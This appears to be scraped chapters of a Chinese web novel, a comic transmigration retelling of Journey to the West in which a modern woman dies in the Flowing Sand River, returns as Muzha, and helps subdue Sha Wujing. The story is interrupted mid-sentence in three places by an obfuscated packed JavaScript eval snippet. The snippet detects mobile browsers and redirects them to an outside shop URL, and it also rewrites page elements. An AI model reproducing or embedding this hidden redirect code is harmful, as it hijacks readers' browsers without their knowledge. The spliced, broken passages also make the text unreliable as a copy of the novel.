“我?”八戒一挺肚子,傲然道,“你猪爷爷我乃是天蓬元帅下凡!后面那位是我师父,东土大唐去西天的圣僧。识相的赶紧让出一条水路来!” 沙僧一听,那双外凸的眼珠子瞬间亮得像两盏探照灯:“大唐来的圣僧?!十世修行的好人?!” 他狂笑一声,宝杖一挥:“真是踏破铁鞋无觅处!我在这流沙河熬了几百年,等的就是他!吃他一块肉长生不老,今天谁也别想走!” “又是一个做梦吃唐僧肉的。”八戒翻了个白眼,“我说你们这些当妖怪的,能不能有点出息?就没点别的追求了?” “少废话!看打!” 沙僧怒喝一声,举起宝杖再次冲了上去。八戒也不含糊,抡起钉耙迎战。 两人在流沙河畔的浅滩上打得飞沙走石,天昏地暗。月牙铲带起呼啸的风声,九齿钉耙卷起漫天狂沙,一时间竟斗了个旗鼓相当。 悟空蹲在远处的沙丘上,并没有急着上前帮忙。 他知道自己的弱点——这流沙河是弱水,他水性极差,如果此时下水,必须分心捏着避水诀,根本施展不开拳脚。只有让八戒在岸边拖住那水怪,或者把他引到陆地上,自己才能找机会一棍子结果了他。 就在这时,悟空的目光越过战场,再次扫向河中间。 那个趴在骷髅上的小丫头还没死。不仅没死,她此刻正大半个身子探出筏子,死死盯着水面,一双眼睛亮得惊人。 肖小夭确实发现了一个华点。 这流沙河虽然浑浊无比,人在岸上根本看不清水下的情况。但她现在处于河的正中心,离水面极近! 更重要的是,沙僧虽然是水怪,但他在极其黏稠的弱水里高速移动或准备发动攻击时,水面上必定会提前产生异样的暗流,或者冒出一串隐秘的浑浊气泡! 换句话说,她现在的绝佳位置,简直就是一个天然的“反潜声呐”兼“高空瞭望塔”! 眼看岸边八戒和沙僧斗了三十多个回合,沙僧见在陆地上占不到便宜,虚晃一枪,“噗通”一声又钻回了水里。 “嘿!你这缩头乌龟!有种上来跟猪爷爷大战三百回合!”八戒站在水边气得直跳脚。 可水面瞬间恢复了死寂,连个鬼影子都看不见。 肖小夭死死盯着脚下的水面。 突然,她看到右前方的水域下方,隐隐翻涌起一股诡异的浑黄暗流,几个核桃大小的气泡正急速朝着岸边某个方向窜去! 那是沙僧在水下迂回,准备偷袭八戒的下盘! 肖小夭深吸一口气,顾不上害怕了,猛地从骷髅堆里半跪起来,双手拼命朝着八戒右侧的岸边指去,一边指还一边疯狂挥舞! 远处的悟空火眼金睛一闪,瞬间明白了她的意思。 “呆子!右边水下三步!砸!”悟空厉声断喝。 八戒虽然不明所以,但出于对猴哥的盲目信任,他想也不想,抡起九齿钉耙,朝着右边水下三步的位置狠狠筑了下去! “砰!!!” 泥水四溅! 正准备从那里冒头偷袭的沙僧,迎面就撞上了九个寒光闪闪的耙齿,吓得他魂飞魄散,怪叫一声,强行在水下扭转庞大的身躯,狼狈地往深水区退去。 “哎哟呵?!”八戒乐了,抹了一把脸上的泥水,“猴哥你这眼睛神了啊!这都能看穿?!” 悟空没理他,只是将目光投向了河中心的肖小夭。 隔着遥远的距离,一人一猴的视线在空中交汇。悟空微微挑了挑眉,眼底闪过一丝赞赏。 肖小夭被这一眼看得有点上头。 她,一个连只鸡都没杀过的现代社畜,居然在西游世界里给齐天大圣当起了“外挂雷达”!这要是能活着回去,高低得写进简历里! 接下来的一炷香时间里,流沙河上出现了一幕极其诡异的画面。 沙僧每次试图从水下潜伏靠近岸边,河中间那个趴在骷髅上的弱女子就会像抽风一样疯狂指方向。 而岸上的那只猴子,就会根据她的手势,精准地报出坐标。 最后由八戒负责“物理打地鼠”。 “呆子,左边五步!” “轰!”八戒一耙子砸下,沙僧狼狈逃窜。 “正前方,后退两步,打!” “砰!”沙僧刚探出半个脑袋,又被逼回水里。 “右边,水草底下!” “哗啦!” 沙僧快疯了。 他在这流沙河横行霸道了几百年,从来没打过这么憋屈的仗!那猪妖明明是个瞎子,可每次自己还没冒头,对方的钉耙就已经等在那里了!就好像他在水底下装了眼睛一样! 沙僧在深水区大口喘着粗气,猛地反应过来。 不对!不是那猪妖看得见,是河中间那个该死的储备粮在搞鬼! 沙僧怒火中烧,一双凸出的眼珠子瞬间变得通红。 他决定换个打法。既然吃不到唐僧,那就先把你这个吃里扒外的点心给嚼了! 岸上。 八戒扛着钉耙,得意洋洋地等着:“来啊!水猴子!猪爷爷今天非把你打成肉酱不可!” 但水面迟迟没有动静。 悟空眉头微皱,火眼金睛死死扫视着水面,却发现那股妖气并没有向岸边靠近。 相反,它正在以极快的速度,冲向河中心! “不好!”悟空脸色骤变。 肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347403|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小夭也发现了。 脚下的水面突然剧烈翻滚起来,一个巨大的浑水漩涡正在她的筏子正下方成型!那速度太快了,比之前任何一次都要快! 她惊恐地瞪大眼睛,想要逃,但这该死的弱水连一根羽毛都承载不住,她往哪逃?! “哗啦——!!!” 水柱冲天而起! 沙僧犹如一尊发怒的修罗,从水底破浪而出,就在肖小夭面前不到三尺的地方!他浑身滴着黏稠的黄水,那张蓝色的脸扭曲到了极点。 “小丫头片子,眼神挺好使啊!”沙僧咬牙切齿地咆哮,举起了手中沉重的宝杖,“敢坏本大王的好事,我先拿你祭河!” 肖小夭被那股恐怖的妖气压得根本喘不过气,整个人无意识地往后瑟缩,后背已经抵到了筏子的边缘。 就在沙僧的宝杖即将砸下的千钧一发之际! 岸上的悟空睚眦欲裂,他顾不上自己不识水性,一把将金箍棒变大,宛如一根擎天巨柱般狠狠朝着河中心掷了过来! “妖孽敢尔!!!” “轰——!!!” 巨大的金箍棒带着毁天灭地的力量,擦着沙僧的头皮砸进水里,掀起滔天巨浪! 沙僧被那股恐怖的力量震得气血翻涌,连连后退,险些稳不住身形。 但那巨大的冲击波,也同时狠狠掀翻了那个脆弱的骷髅筏子! “咔嚓!” 本就松散的骷髅瞬间散架。 肖小夭甚至连一声惊呼都没来得及发出,整个人便失重般向后倒去。 “噗通——” 冰冷、黏稠、沉重至极的弱水瞬间吞没了她。 没有浮力,完全没有浮力。 她就像一块沉甸甸的石头,笔直地朝着那暗无天日的河底坠落。 浑浊的黄水疯狂地灌进她的口鼻,又苦又涩,带着浓烈的死亡气息。肺部像要炸开一样疼,窒息感铺天盖地地涌来。 透过昏黄的水面,在意识逐渐模糊的最后几秒。 她看见岸上那道金色的身影没有丝毫犹豫,捏着避水诀,像一道流星般“噗通”一声扎进了他最厌恶、最不擅长的深水里。 他正拼命分开那沉重的弱水,朝着她的方向极速游来。 可太远了。 弱水的阻力太大,而她下坠的速度太快。 黑暗逐渐剥夺了她的视线。 在被彻底吞没的前一秒,肖小夭用尽最后的力气,吐出一串微弱的气泡。她在心里默默地说了一句: 大圣,去找观音啊…… 【系统】:检测到致命环境伤害:弱水窒息。 【系统】:宿主当前物理载体已死亡。 【系统】:检测到隐藏剧情节点触发成功:【流沙河的因果】。任务完成度:A级。 【系统】:正在为您重启,世界线干涉度提升至45%…… ………… 岸上。 水面剧烈翻腾了一阵后,重新恢复了死寂。 “哗啦。” 悟空破水而出,略显狼狈地跃上岸边。避水诀护住了他的衣服,但护不住他此刻眼底翻涌的骇人戾气。 他手里,空空如也。 唐僧阿弥陀佛地念着经,八戒跑了过来,探头往水里看:“猴哥,那小丫头呢?没捞着?” 悟空没有说话。 他死死盯着那片重新变得浑浊不堪、连鹅毛都浮不起来的水面。捏着金箍棒的手背上,青筋暴起,骨节泛白。 “那水怪溜得太快了,肯定躲在下面不出来了!”八戒气恼地一拍大腿,“这可咋办?咱们这不识水性的,怎么过这八百里流沙河啊?” 悟空依然沉默着。 过了许久,久到八戒以为他要暴走时。 悟空缓缓松开了攥紧的拳头,转过身。 那张一向桀骜不驯的脸上,此刻没有任何表情,但那双火眼金睛却冷得像结了冰的深渊。 “我去南海。”他声音极低,却带着不容置疑的决绝,“找观音。” 15. 惠岸行者 肖小夭睁开眼。 没有刺鼻的妖风,没有浑浊的弱水,更没有那种肺部炸裂般的窒息感。 眼前是一片祥云缭绕的仙境。脚下踩着的不是实地,而是一团半透明的云絮,软绵绵的,却稳稳当当。远处有仙山隐隐绰绰,几只身姿优雅的白鹤从云层间穿过,发出清越的鸣叫。 近处,是一片茂密的紫竹林。紫色的竹叶在微风中轻轻摇曳,发出沙沙的响声。空气里飘着一股若有若无的清雅檀香味,混着竹叶的清甜,闻着就让人心神宁静。 她低下头,打量了一下自己。 一身剪裁极其合体的雪白素衣,质地轻柔如云,袖口和领口都用银线绣着精致繁复的云雷暗纹。手里随意提着一柄长剑,剑鞘上镶嵌着几颗莹润的青色宝石。腰间还挂着一个暗红色的宝葫芦,葫芦上刻着晦涩的金色符文,正隐隐泛着微光。 肖小夭愣了三秒。 她抬起手,翻来覆去看了几遍。 这双手白净修长,骨节分明,指甲修剪得整整齐齐,掌心温润,一看就没干过什么粗活,甚至还透着一股隐隐的法力波动。 她下意识地摸了摸自己的脸。 皮肤光滑,轮廓分明,眉骨深邃,鼻梁挺直。虽然清秀,但这骨相……明显是男相! 男相?! 肖小夭猛地低下头,看向自己的胸口。 平的。 一马平川。比流沙河的水面还要平! 她不信邪地又摸了一把下巴和喉结,确定没有胡子,但确实有个明显的凸起。 肖小夭:“……” 系统你大爷!跨物种就算了,现在连性别都给我跨了?! 她正凌乱着,脑子里突然响起那个毫无波澜的声音。 【系统】:宿主物理载体已重置。当前身份:南海观世音菩萨座下大弟子,惠岸行者——木吒。 【系统】:当前时间点:孙悟空前来南海求助收服流沙河水怪。 【系统】:临时任务触发。沙悟净乃观音菩萨点化的取经人,请宿主随孙悟空前往流沙河,协助收服沙悟净,助其归顺取经团队。任务完成奖励:存活时间大幅延长。 肖小夭愣住了。 等等,木吒?观音的徒弟?托塔李天王家的二太子,哪吒的亲二哥?! 她低头看了看自己这身仙气飘飘的行头,又摸了摸腰间那个装满法宝的红葫芦,脑子里飞快地转了起来。 木吒啊!有天庭神仙编制,有菩萨当靠山,有法力,有身份,还能打!这可是正儿八经的高级神仙账号! 肖小夭的嘴角忍不住疯狂上扬。 苦熬了这么多个副本,终于抽到SSR了!这回总算不用当被人拍屁股的储备粮,也不用当满地打滚的炮灰了! 她正美着,耳边突然传来一个极其熟悉、透着几分沙哑的声音。 “菩萨,那流沙河的妖怪,到底是什么来历?老孙水性不佳,那厮打不过就往水底一钻,实在难缠。” 肖小夭顺着声音看过去,呼吸猛地一滞。 紫竹林中央的莲花池上,观音菩萨正盘坐在一朵巨大的千叶金莲上。她穿着一袭素白长衣,衣袂垂落,在微风中轻轻飘动。面容慈悲,眉眼温和,周身笼罩着一层淡淡的、并不刺眼却让人觉得温暖安心的金光。身后的虚空中,隐约可见一轮散发着七彩光晕的圆光。 这不是庙里冷冰冰的泥塑木雕,这是活生生的、拥有无尽悲悯的神明。她坐在那里,周围的一切都仿佛静止了。 而悟空,正单膝半蹲在莲花池畔。 他身上的虎皮裙还沾着流沙河的泥沙和水渍,看起来有些风尘仆仆。他低着头,金箍棒随意地放在脚边,那根长长的尾巴烦躁地在地上扫来扫去。 观音垂眸看着悟空,声音清朗,如山间泉水淌过玉石。 “悟空,那流沙河的妖怪,原是天上的卷帘大将。只因在蟠桃会上打碎了琉璃盏,被玉帝贬下凡间,每七日还要受飞剑穿胸之苦。我早前去东土寻取经人时曾点化过他,让他在此等候。” 悟空烦躁地挠了挠耳朵:“原来是菩萨点化的人。那他怎么不认得我们?上来就喊打喊杀的,还要吃我师父!” 观音微微一笑:“他在这弱水中苦熬多年,戾气未消。且你与八戒也未曾向他说明取经人的身份,自然生了误会。” 说着,观音的目光缓缓流转,落在了站在一旁的“木吒”身上。 那目光落在身上的瞬间,肖小夭感觉自己整个人都被看透了。 从皮相,到骨血,再到那个藏在最深处的、来自异世界的灵魂。□□,无所遁形。 那种感觉并不让人害怕,就像是被一道温暖的阳光扫过,没有压迫感,却什么都藏不住。 “木吒。”观音轻声唤道。 肖小夭心里一激灵,赶紧低下头,学着古人的样子拱手行礼:“弟、弟子在。” 观音看着她,那双充满神性的眼眸里,竟然闪过了一丝极淡的笑意。 那是一种了然于胸、看穿一切却并不点破的包容。 “木吒今日,似与往日有些不同。”观音语气温和,带着点若有若无的深意。 肖小夭心里“咯噔”一下。完了,刚上线就被顶头上司看穿代打了! 观音却没再追究,只是微微抬了抬手:“无妨。你且随悟空走一趟流沙河,用你腰间的红葫芦,去把那沙悟净收服了吧。” 肖小夭如蒙大赦,赶紧抱拳:“弟子遵命!” 观音收回目光,双手合十。身下的金色莲花缓缓升起,她的身影逐渐变得虚幻,最终消失在紫竹林深处,只留下一室莲香。 菩萨一走,紫竹林里的气氛瞬间变了。 悟空从地上站起来,捡起金箍棒扛在肩上。 他转过头,那双暗金色的火眼金睛定定地看着面前这个一身白衣、仙气飘飘的“惠岸行者”。 他看了她足足三秒。 目光从她清秀的男相脸庞,扫过平坦的胸口,最后落在那双有些不安分地抠着剑柄的手上。 随后,他极其短促地轻嗤了一声。 那双眼睛在祥云的光晕里亮得惊人,眼底翻涌着一丝不易察觉的庆幸,和一抹掩饰不住的笑意。 “走吧。”他说。 没等肖小夭反应过来,悟空一把抓住她的手腕,腾空而起! “呼——!” 筋斗云瞬间升空,快得像一道闪电。 肖小夭站在云上,脚下是万丈高空。云层在身边飞快掠过,下面的山川河流小得像棋盘上的纹路。高空的罡风灌进她的袖子里,吹得她白衣猎猎作响,束起的长发在脑后狂舞。 她下意识地反手抓紧了悟空的手臂,生怕自己这刚抽到的SSR账号直接从云上掉下去摔死。 两人谁也没说话。 只有风呼啸而过的声音。 过了许久。 一直盯着前方的悟空,突然开口了。声音被风吹得有些散,却清晰地传进了她的耳朵里。 “刚才在水里,死的时候……难受不难受?” 肖小夭愣住了。 她下意识地看向他。 他没有回头,只留给她一个毛茸茸的后脑勺。但他那对尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她顿了顿,语气里带上了几分真心实意的笑意。 “所以,大圣以后莫要嫌我像个狗皮膏药一样,怎么都甩不掉、总是换着花样烦你就是了。” 悟空终于转过了头。 高空的阳光毫无保留地洒在他那张桀骜不羁的脸上,给他整个人镀上了一层耀眼的金边。 他看着眼前这个哪怕变成了男相、骨子里却依然透着那股倔强和鲜活的灵魂。 那双火眼金睛里,倒映着她此刻的模样。 他嘴角的弧度慢慢扩大,露出一个肆意又张扬的笑。 “挺有意思的。”他盯着她的眼睛,声音低沉而笃定,“老孙不嫌烦。” 肖小夭的心跳不可遏制地漏了一拍。 明明现在自己是个男人,为什么被这猴子看一眼,还是会觉得脸热?! 她赶紧移开目光,假装欣赏脚下的云海。但在广袖的掩盖下,她的双手却兴奋地握成了拳头。手指关节捏得“咔咔”作响。 这可是SSR神仙账号!有菩萨做靠山、带着法宝的木吒! 沙僧,让你刚才拿我当储备粮!让你敢拍老娘的屁股! 还有那头没良心的猪八戒,老娘在骷髅上胆战心惊地给你当了半天活体雷达,我掉水里的时候你居然就在岸上干看着,连个耙子把都不递一下! 至于那个一棒子砸出滔天巨浪、直接把她筏子掀翻的罪魁祸首…… 肖小夭用余光偷偷瞥了一眼身旁。那个毛茸茸的身影依然挺拔,只是刚才提到她淹死时,那对有些耷拉下去的耳朵,暴露了他隐秘的内疚。 肖小夭在心里叹了口气。算了。看在他刚才破天荒地跟她解释、变相道歉的份上,就不跟这只暴躁猴子计较了。 那就把这笔账,连本带利全算在流沙河那个红毛水怪头上! 沙悟净,你给我等着! 看老娘到了流沙河,怎么用这满级神仙号收拾你! 16. 有仇当场报,善哉! 流沙河到了。 云头按下,悟空带着肖小夭稳稳落在岸边。 不远处,八戒正毫无形象地盘腿坐在一块光秃秃的石头上,手里抓着半块不知道从哪儿化缘来的干硬面饼,啃得津津有味。旁边放着他的九齿钉耙,耙齿上还沾着流沙河的黄泥。 看见悟空回来,他赶紧把最后一口饼塞进嘴里,含糊不清地招呼:“猴哥回来了?菩萨怎么说?这位是……” 八戒愣了一下,目光落在悟空身边的白衣少年身上。 来人一身如雪白衣,衣袂在河风中翩跹翻飞,手持长剑,腰悬红葫芦,眉眼清俊,端的是一副仙风道骨、高高在上的做派。 肖小夭双手交叠,微微一笑,没说话。端足了高层神仙的架子。 悟空斜了八戒一眼,淡淡开口:“这是菩萨座下大弟子,惠岸行者木吒。奉菩萨法旨,来帮忙收那水怪的。” “哎哟!原来是行者!失敬失敬!”八戒赶紧拿衣袖擦了擦手,笑呵呵地拱了拱手,也没多想。 肖小夭背着手,踱步走到河边,低头看着那片浑黄的河水。 河水还是那个鬼样子,浑浊得像一锅坏掉的稀粥,死气沉沉。 回想上一轮,自己就像个待宰的猪豚一样,趴在那几颗破骷髅上,被这水怪吓得半死,最后还硬生生被淹死在这泥水里。 而这一轮,她站在岸边,手里有剑,腰上有法宝,身上有菩萨赐的法力,身边还站着齐天大圣。 这感觉,简直爽翻天了! 悟空走到水边,金箍棒往地上一杵,朝河面喝了一声:“水里的妖怪,还不快出来!” 声音不大,却夹杂着浑厚的法力,在河面上激起一圈圈巨大的涟漪。 “哗啦——” 水面翻滚,沙悟净从水里冒了出来,站在齐腰深的水里。他手里还死死攥着那把月牙铲,红彤彤的头发上挂着几根枯黄的水草,配合着那张青黑色的脸,看起来凶神恶煞又略带狼狈。 他本想发作,但一眼看见了岸上的木吒,当场愣住了。 肖小夭冷哼一声,往前走了一步。她板起脸,公事公办地冷声道: “沙悟净,我乃观音菩萨座下惠岸行者!菩萨有旨,命你在此等候取经人,如今大唐圣僧已到,你还不快快丢下兵器,上岸拜师,更待何时?!” 她的声音清冷,夹杂着木吒自带的灵力,带着一股不容置疑的上位者威压。 沙僧彻底僵住了。 “当啷”一声,月牙铲掉进了水里。 他看了看高高在上的木吒,又看了看不远处那个穿着锦襕袈裟的唐僧,那双外凸的眼眶突然红了。 “等、等到了?”他的声音嘶哑得厉害,庞大的身躯竟然微微发抖,“我在这暗无天日的流沙河里熬了几百年……每七天受一次万剑穿胸之苦,疼得死去活来……终于等到了……” 肖小夭居高临下地看着他,面无表情:“拜师就拜师,大老爷们哭什么。还不快上来。” 沙僧:“……” 他赶紧抹了一把脸上的黄水,连滚带爬地游到岸边,“扑通”一声跪在唐僧面前,纳头便拜。额头重重磕在沙地上,发出“砰砰砰”的闷响。 “弟子沙悟净,拜见师父!” 唐僧双手合十,满脸慈悲:“阿弥陀佛。善哉善哉。既入我佛门,便当放下屠刀,立地成佛。悟空,八戒,快扶你们师弟起来。” 肖小夭站在一旁,看着刚才还嚣张跋扈、嚷嚷着要先吃她腿再吃她胳膊的红毛妖怪,现在老老实实地跪在那儿磕头,心里简直乐开了花。 刚才拿我当储备粮?拍我屁股验肉质?吓唬我? 现在知道老娘(老子)的厉害了吧! 她正暗爽着,八戒突然凑了过来,一双小眼睛狐疑地上下打量着她,小声嘀咕:“这位……行者,俺老猪怎么觉得,咱们好像在哪儿见过?” 肖小夭转头看他,冲他露出了一个极其灿烂的微笑。 那笑容在八戒看来,不知道为什么,脊背突然窜起一股凉意。 “没见过。”她说。 “哦……那可能是我认错了。”八戒挠了挠大耳朵,正准备转身。 肖小夭突然伸出手,指尖凝聚了一丝微不可察的灵力,对准八戒那宽阔的大脑门,狠狠地弹了下去! “啪!” 极其清脆、极其响亮的一声。 “哎哟!”八戒捂着迅速红肿起来的额头,疼得眼泪都快出来了,一脸懵逼又委屈地看着她,“你、你干嘛弹我?!” 肖小夭缓缓收回手,面无表情,语气平淡:“不好意思,手滑。” 让你刚才在岸边看戏!老娘掉进水里的时候,你连个耙子把儿都不知道伸一下!弹你一下算轻的! 八戒:“……”神他妈手滑能滑出残影来?! 不远处的悟空正靠在石头上,见状立刻转过头去假装看风景,但那根疯狂晃动的猴尾巴和明显翘起的嘴角,已经彻底出卖了他。 那边,沙僧已经正式拜完了师。 唐僧看着宽阔的河面犯了愁:“徒弟啊,这流沙河连鹅毛都浮不起,咱们如何过得去?” 沙僧赶紧把脖子上挂的那串九个骷髅取了下来,恭恭敬敬地双手捧着,递给肖小夭。 看着那九个被水泡得发白发亮的死人头,肖小夭心里还是有点犯怵的。但她现在可是木吒,绝对不能崩人设! 她装作浑不在意地接过骷髅,解下腰间的红葫芦。 按照木吒残存的记忆,她将红葫芦放在中间,把九个骷髅按九宫方位——坎一、坤二、震三、巽四、中五、乾六、兑七、艮八、离九,一一摆好。 退后半步,单手掐诀,口中念动真言。 金光乍现!那九个骷髅突然像是活了过来,骨碌碌地首尾相连,中间散发着神圣的佛光,将红葫芦稳稳托在水面上,瞬间化作了一只平稳的法船。 肖小夭走上前,伸出穿着锦靴的脚,泄愤似地在骷髅上狠狠踢了两下。 法船纹丝不动,稳如泰山。 她满意地点了点头。上一轮趴在上面动都不敢动,这一轮直接把它踩在脚底下,这阶级跨越,舒坦! “师父,法船已成,可以渡河了。”肖小夭转身说道。 唐僧和悟空率先上了船。 沙僧正准备上去,肖小夭走过去,笑眯眯地看着他:“沙悟净。” 沙僧赶紧低头:“行者有何吩咐?” 肖小夭伸出手,重重地拍在他的肩膀上:“以后好好跟着师父,保护好你大师兄,切记,不可再起吃人的恶念了。” 说到“吃人”两个字时,她手腕猛地发力,将木吒的灵力悉数灌注在掌心,狠狠往下一压! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347405|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “砰!” 沙僧只觉得肩膀上仿佛突然压下了一座泰山,双膝一软,差点直接跪在泥地里。他疼得龇牙咧嘴,却又不敢反抗,只能满头大汗地连连点头:“是、是!弟子铭记在心!” 总觉得这位行者看他的眼神,透着一股要把他清蒸了的杀气…… 法船缓缓驶离岸边。 肖小夭并没有上船,她还要“回南海复命”。她站在岸边,看着法船在河面上越走越远。 悟空站在船尾。 高空的阳光洒在他那一身桀骜的猴毛上。他转过身,隔着浑浊的水雾,遥遥地看了她一眼。 那一眼里,藏着毫不掩饰的笑意,和一丝微不可察的纵容。 肖小夭没忍住,朝他用力挥了挥手。 悟空没有挥手回应,只是微微扬了扬下巴,像是在说:干得漂亮。 【系统】:宿主当前身份:惠岸行者木吒。任务已完成。存活时间已延长。 肖小夭看着视线右上角的提示,在心里疯狂敲击: “系统大爷,打个商量呗!这个身份,再让我用几天行不行?” 【系统】:检测到宿主违规请求。正在驳回…… 肖小夭急了:“别啊!你看我帮你们顺利收了沙僧,立了多大的功!多待几天怎么了?再说木吒本来就是个闲职,就算不马上回南海也没人查考勤啊!我有法力,能帮大圣打妖怪,最重要的是,我还没爽够呢!” 系统沉默了两秒。 【系统】:评估完成。鉴于宿主在隐藏因果中的优异表现,破例允许宿主暂留当前高阶物理载体。 【系统】:时限:至下一劫难结束。是否再次延长……看你表现。 肖小夭在心里比了个巨大的“YES”! 成交!有法力,有身份,还能接着去前面看八戒和沙僧的笑话,这买卖值了! …… 此时,远处的河面上,隐隐飘来法船上师兄弟三人的对话。 八戒捂着额头,愤愤不平:“猴哥,你说那惠岸行者是不是有毛病?俺老猪得罪过他吗?凭什么好端端地弹我脑崩儿?现在还肿着呢!” 悟空靠在船舷上,懒洋洋地剔着指甲:“你猜。” 八戒:“……我上哪儿猜去!” 沙僧在一旁揉着快要脱臼的肩膀,闷声闷气地插嘴:“二师兄,他也打我了。” 八戒一愣:“打你哪儿了?” 沙僧:“肩膀。拍得极重,我差点给他跪下。” 八戒心理平衡了一点:“那看来他不是针对我。不过拍肩膀好歹算是长辈的鼓励,我这是被弹脑门啊!” 沙僧想了想,十分中肯地分析道:“二师兄,是不是你刚才盯着人家看,又犯了老毛病,在心里调戏人家了?” 八戒大怒:“放屁!俺老猪是那种猪吗?!再说了,人家是个带把儿的男神仙,我调戏他干嘛?!” 沙僧木讷地点点头:“哦,那可能就是行者觉得你长得欠弹吧。” 八戒:“你放……” “噗嗤——哈哈哈哈!” 悟空终于没忍住,靠在葫芦上放声大笑。那畅快的笑声在宽阔的流沙河上空久久回荡,惊起了一群水鸟。 站在岸边的肖小夭听着风中传来的对话,笑得蹲在地上,连木吒的高冷人设都快端不住了。 17. 四圣试禅心 肖小夭在一阵馥郁的檀香中悠悠转醒。 她睁开眼,发现自己正身处南海紫竹林。手里还习惯性地攥着那个红葫芦,触感温润。阳光透过竹叶洒下来,在地上投下斑驳的碎金。微风拂过,竹叶沙沙作响。远处的潮音洞若隐若现,海浪拍打礁石的声音隐隐传来,带着一股咸湿清新的气息。 她低头看了看自己——依旧是那身雪白的素衣,依旧是那把长剑,依旧是那张清秀的、属于木吒的脸。 肖小夭满意地点点头。 木吒这个身份,她用得还挺顺手的。有法力,有编制,还能光明正大地跟着取经团,近距离围观西游记的精彩剧情。 【系统】:宿主当前身份:惠岸行者木吒。存活时间延长中。下一事件即将触发。 肖小夭在心里默问:系统,下一站是去哪儿围观? 【系统】:四圣试禅心。黎山老母、观音菩萨、普贤菩萨、文殊菩萨将化作凡人母女,考验取经团队的禅心。 肖小夭眼睛猛地一亮。 四圣试禅心?!就是那个菩萨变美女考验唐僧师徒,结果猪八戒丢人现眼,被吊在树上的经典桥段?! 她脑子里飞快地闪过原著剧情。这一段,观音菩萨带着几位大能同事,变出一位富家寡妇和三个貌美如花的女儿,要招唐僧师徒做上门女婿。结果唐僧吓得直哆嗦,悟空和沙僧无动于衷,只有八戒屁颠屁颠地扑上去,最后被吊在树上出丑。 她现在是木吒,观音的亲徒弟! 那岂不是可以站在第一排,光明正大地吃瓜看戏?! 肖小夭嘴角忍不住慢慢翘起,露出了一个看好戏的笑容。 正想着,一个清雅的声音在她耳边响起。 “木吒。” 肖小夭猛地转过身。 观音菩萨正站在不远处,还是那副慈眉善目的样子,周身笼罩着淡淡的金光。她身后,还站着三位仙风道骨的女神祇——黎山老母、普贤菩萨和文殊菩萨。 “弟子在。”肖小夭赶紧上前,恭敬行礼。 观音微微一笑,目光温和:“我等欲往西牛贺洲一行,试探唐僧师徒禅心。你且随行。” 肖小夭心头一喜,面不改色地应道:“弟子遵命。” 黎山老母的目光落在肖小夭身上,上上下下打量了一番,突然“噗嗤”一声笑了。 “观音,你这小徒弟,生得倒是俊俏。”她转头看向观音,眼底带着点促狭,“平日里藏得紧,今日可舍得借我一用?” 肖小夭心里一动,隐约觉得不对劲。什么意思? 观音看了肖小夭一眼,眼中带着淡淡的玩味:“老母有何高见?” 黎山老母绕着肖小夭转了一圈,啧啧称奇:“这木吒生得男生女相,唇红齿白,眉目如画。若是换上女装,怕是不比咱们变的那些姑娘差。正好咱们今日缺个伺候的丫鬟,不如就让木吒也扮上,一起去试试那取经人的禅心。” 肖小夭心里“砰”的一声,像是被一道惊雷劈中。 扮女装?! 她,肖小夭,一个货真价实的女孩子,扮回女装,那不就是回归本色吗?!而且还是个美貌少女!这简直是天赐良机,完美符合系统重启的“易容”模式! 她毫不犹豫,立刻点头,声音带着压抑不住的兴奋:“弟子愿意!弟子愿为菩萨分忧!” 黎山老母没想到她答应得这么爽快,愣了一下,随即笑出了声:“好好好!你这小徒弟,倒是积极!来来来,我那儿正好有套新衣裳,给你换上!” 肖小夭高高兴兴地跟着黎山老母走了。 半个时辰后。 肖小夭站在铜镜前,看着镜子里的人,嘴角的弧度再也压抑不住。 镜子里映出的是一个十六七岁的少女,亭亭玉立。粉色的襦裙衬得她肌肤胜雪,腰间系着淡青色的丝绦,更显身段纤细。乌发绾成双髻,髻上插着两朵小小的、栩栩如生的绢花。脸上略施脂粉,唇上点了点艳丽的口脂,眉眼间带着点少女特有的娇俏和灵动。 活脱脱一个水灵灵的小姑娘! 她转了个圈,襦裙的裙摆随之飘扬,轻盈婀娜。 她对着镜子眨了眨眼,镜子里的人也对着她眨了眨眼。 好看。真好看。 肖小夭对着自己的新形象,满意地点了点头。 黎山老母在旁边看着,笑呵呵地问:“怎么?自己都被自己迷住了?” 肖小夭理直气壮,毫不谦虚:“嘿嘿,老母说得是,确实挺好看的!” 黎山老母闻言,笑得花枝乱颤:“你这小徒弟,倒是个实诚的!” 肖小夭心想:我本来就是个姑娘,现在扮回女装,有什么好谦虚的? 她走出房间,来到院子里。 观音菩萨正站在廊下,温和的目光落在她身上,眼中闪过一丝笑意。 “很好。”观音赞许地颔首。 ………… 很快,菩萨们开始布置场景。 凭空出现一座气派的大宅,青砖黛瓦,朱门高墙。门前种着两棵郁郁葱葱的大槐树,院子里亭台楼阁,假山池塘,还有几株开得正艳的牡丹花。 观音菩萨化作了富家寡妇,黎山老母、文殊菩萨和普贤菩萨则化作了三个千娇百媚的女儿。肖小夭被安排成一个伶俐的丫鬟,站在寡妇身边伺候。 一切布置妥当,只待取经团上钩。 没过多久,远处传来一阵由远及近的马蹄声和人语声。 唐僧师徒到了。 